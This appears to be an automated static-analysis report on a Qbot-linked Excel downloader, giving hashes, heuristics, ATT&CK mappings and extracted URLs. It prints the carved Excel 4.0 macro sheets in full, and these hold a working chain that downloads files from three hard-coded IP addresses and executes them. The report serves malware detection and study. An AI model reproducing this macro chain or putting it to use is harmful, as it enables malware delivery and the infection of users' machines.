Qbot — Office (OOXML) malware analysis

Static analysis result for SHA-256 c5dfc488c9b8a852…

MALICIOUS

Office (OOXML)

150.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: 0bab12f70e7d7b82cef0d678c6c1db0e SHA-1: 672462a874112ca9fe6225cb359999fdd684e2cc SHA-256: c5dfc488c9b8a8522eaddd023b2a0815c15f0b6d5268809d9ef3232059b88942
250 Risk Score

Malware Insights

Qbot · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1105 Ingress Tool Transfer

This Excel file contains Excel 4.0 macros that leverage dangerous functions like REGISTER, EXEC, and CALL. The macros construct a URL to download a file named 'Kro.fis' and then execute it using 'regsvr32'. This indicates a downloader functionality, consistent with Qbot malware families. The use of these functions directly facilitates the download and execution of a second-stage payload.

Heuristics 6

  • ClamAV: Xls.Downloader.Qbot06210-9875009-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Qbot06210-9875009-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, RUN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.240.103.219/ In document text (OOXML body / shared strings)
    • http://190.14.37.3/In document text (OOXML body / shared strings)
    • http://185.183.99.120/In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2446 bytes
SHA-256: c2e527cd52b125c07092c59d33090fc3ad9446b4f94b7ce503dfd27afbab14e6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="1"/><col min="6" max="6" width="27.5703125" style="1" customWidth="1"/><col min="7" max="7" width="36.7109375" style="1" customWidth="1"/><col min="8" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="1" t="str"><f>NOW()&amp;H8</f><v>44372,548321875</v></c><c r="H8" s="1" t="s"><v>3</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="1" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="1" t="str"><f>"http://185.240.103.219/"</f><v>http://185.240.103.219/</v></c><c r="G13" s="1" t="e"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="1" t="str"><f>"http://190.14.37.3/"</f><v>http://190.14.37.3/</v></c><c r="G14" s="1" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="1" t="str"><f>"http://185.183.99.120/"</f><v>http://185.183.99.120/</v></c><c r="G15" s="1" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="1" t="b"><f>RUN(Sheet4!I9)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1747 bytes
SHA-256: 38e9b51fd3cb35b28d5fe40b15ffb8f20ea947b6b435c697e9aa5042231a0b8a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{348FF88C-42DC-4DD2-8614-4EF4426F94E1}"><dimension ref="I16:I23"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="8" width="9.140625" style="1"/><col min="9" max="9" width="14.5703125" style="1" bestFit="1" customWidth="1"/><col min="10" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="16" spans="9:9" x14ac:dyDescent="0.25"><c r="I16" s="1" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="17" spans="9:9" x14ac:dyDescent="0.25"><c r="I17" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="18" spans="9:9" x14ac:dyDescent="0.25"><c r="I18" s="1" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="23" spans="9:9" x14ac:dyDescent="0.25"><c r="I23" s="1" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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